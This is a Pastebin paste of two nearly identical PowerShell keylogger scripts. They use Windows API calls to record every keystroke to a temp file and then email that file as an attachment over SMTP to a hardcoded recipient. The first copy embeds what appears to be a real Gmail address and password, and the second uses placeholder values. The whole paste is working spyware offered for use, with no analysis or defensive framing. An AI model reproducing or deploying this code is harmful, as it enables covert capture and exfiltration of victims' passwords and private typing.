Advertisement
Guest User

Untitled

a guest
Apr 16th, 2019
319
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.93 KB | None | 0 0
  1. $TimesToRun = 2
  2. $RunTimeP = 1
  3. $From = "emi.carnus8@gmail.com"
  4. $Pass = "carnus11"
  5. $To = "emi.carnus15@gmail.com"
  6. $Subject = "Keylogger Results"
  7. $body = "Keylogger Results"
  8. $SMTPServer = "smtp.mail.com"
  9. $SMTPPort = "587"
  10. $credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
  11. ############################
  12.  
  13.  
  14. $TimeStart = Get-Date
  15. $TimeEnd = $timeStart.addminutes($RunTimeP)
  16.  
  17. #requires -Version 2
  18. function Start-KeyLogger($Path="$env:temp\keylogger.txt")
  19. {
  20. # Signatures for API Calls
  21. $signatures = @'
  22. [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
  23. public static extern short GetAsyncKeyState(int virtualKeyCode);
  24. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  25. public static extern int GetKeyboardState(byte[] keystate);
  26. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  27. public static extern int MapVirtualKey(uint uCode, int uMapType);
  28. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  29. public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  30. '@
  31.  
  32. # load signatures and make members available
  33. $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
  34.  
  35. # create output file
  36. $null = New-Item -Path $Path -ItemType File -Force
  37.  
  38. try
  39. {
  40.  
  41. # create endless loop. When user presses CTRL+C, finally-block
  42. # executes and shows the collected key presses
  43. $Runner = 0
  44. while ($TimesToRun -ge $Runner) {
  45. while ($TimeEnd -ge $TimeNow) {
  46. Start-Sleep -Milliseconds 40
  47.  
  48. # scan all ASCII codes above 8
  49. for ($ascii = 9; $ascii -le 254; $ascii++) {
  50. # get current key state
  51. $state = $API::GetAsyncKeyState($ascii)
  52.  
  53. # is key pressed?
  54. if ($state -eq -32767) {
  55. $null = [console]::CapsLock
  56.  
  57. # translate scan code to real code
  58. $virtualKey = $API::MapVirtualKey($ascii, 3)
  59.  
  60. # get keyboard state for virtual keys
  61. $kbstate = New-Object Byte[] 256
  62. $checkkbstate = $API::GetKeyboardState($kbstate)
  63.  
  64. # prepare a StringBuilder to receive input key
  65. $mychar = New-Object -TypeName System.Text.StringBuilder
  66.  
  67. # translate virtual key
  68. $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
  69.  
  70. if ($success)
  71. {
  72. # add key to logger file
  73. [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
  74. }
  75. }
  76. }
  77. $TimeNow = Get-Date
  78. }
  79. send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
  80. }
  81. }
  82. finally
  83. {
  84. # open logger file in Notepad
  85. exit 1
  86. }
  87. }
  88.  
  89. # records all key presses until script is aborted by pressing CTRL+C
  90. # will then open the file with collected key codes
  91. Start-KeyLogger
  92.  
  93. keystrokes.ps1
  94. # Edit only this section!
  95. $TimeToRun = 2
  96. $From = "USER1@mail.com"
  97. $Pass = "Pa$$w0rd"
  98. $To = "USER2@mail.com"
  99. $Subject = "Keylogger Results"
  100. $body = "Keylogger Results"
  101. $SMTPServer = "smtp.mail.com"
  102. $SMTPPort = "587"
  103. $credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
  104. ############################
  105.  
  106.  
  107. $TimeStart = Get-Date
  108. $TimeEnd = $timeStart.addminutes($TimeToRun)
  109.  
  110. #requires -Version 2
  111. function Start-KeyLogger($Path="$env:temp\keylogger.txt")
  112. {
  113. # Signatures for API Calls
  114. $signatures = @'
  115. [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
  116. public static extern short GetAsyncKeyState(int virtualKeyCode);
  117. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  118. public static extern int GetKeyboardState(byte[] keystate);
  119. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  120. public static extern int MapVirtualKey(uint uCode, int uMapType);
  121. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  122. public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  123. '@
  124.  
  125. # load signatures and make members available
  126. $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
  127.  
  128. # create output file
  129. $null = New-Item -Path $Path -ItemType File -Force
  130.  
  131. try
  132. {
  133.  
  134. # create endless loop. When user presses CTRL+C, finally-block
  135. # executes and shows the collected key presses
  136. while ($TimeEnd -ge $TimeNow) {
  137. Start-Sleep -Milliseconds 40
  138.  
  139. # scan all ASCII codes above 8
  140. for ($ascii = 9; $ascii -le 254; $ascii++) {
  141. # get current key state
  142. $state = $API::GetAsyncKeyState($ascii)
  143.  
  144. # is key pressed?
  145. if ($state -eq -32767) {
  146. $null = [console]::CapsLock
  147.  
  148. # translate scan code to real code
  149. $virtualKey = $API::MapVirtualKey($ascii, 3)
  150.  
  151. # get keyboard state for virtual keys
  152. $kbstate = New-Object Byte[] 256
  153. $checkkbstate = $API::GetKeyboardState($kbstate)
  154.  
  155. # prepare a StringBuilder to receive input key
  156. $mychar = New-Object -TypeName System.Text.StringBuilder
  157.  
  158. # translate virtual key
  159. $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
  160.  
  161. if ($success)
  162. {
  163. # add key to logger file
  164. [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
  165. }
  166. }
  167. }
  168. $TimeNow = Get-Date
  169. }
  170. }
  171. finally
  172. {
  173. # open logger file in Notepad
  174. send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
  175. exit 1
  176. }
  177. }
  178.  
  179. # records all key presses until script is aborted by pressing CTRL+C
  180. # will then open the file with collected key codes
  181. Start-KeyLogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement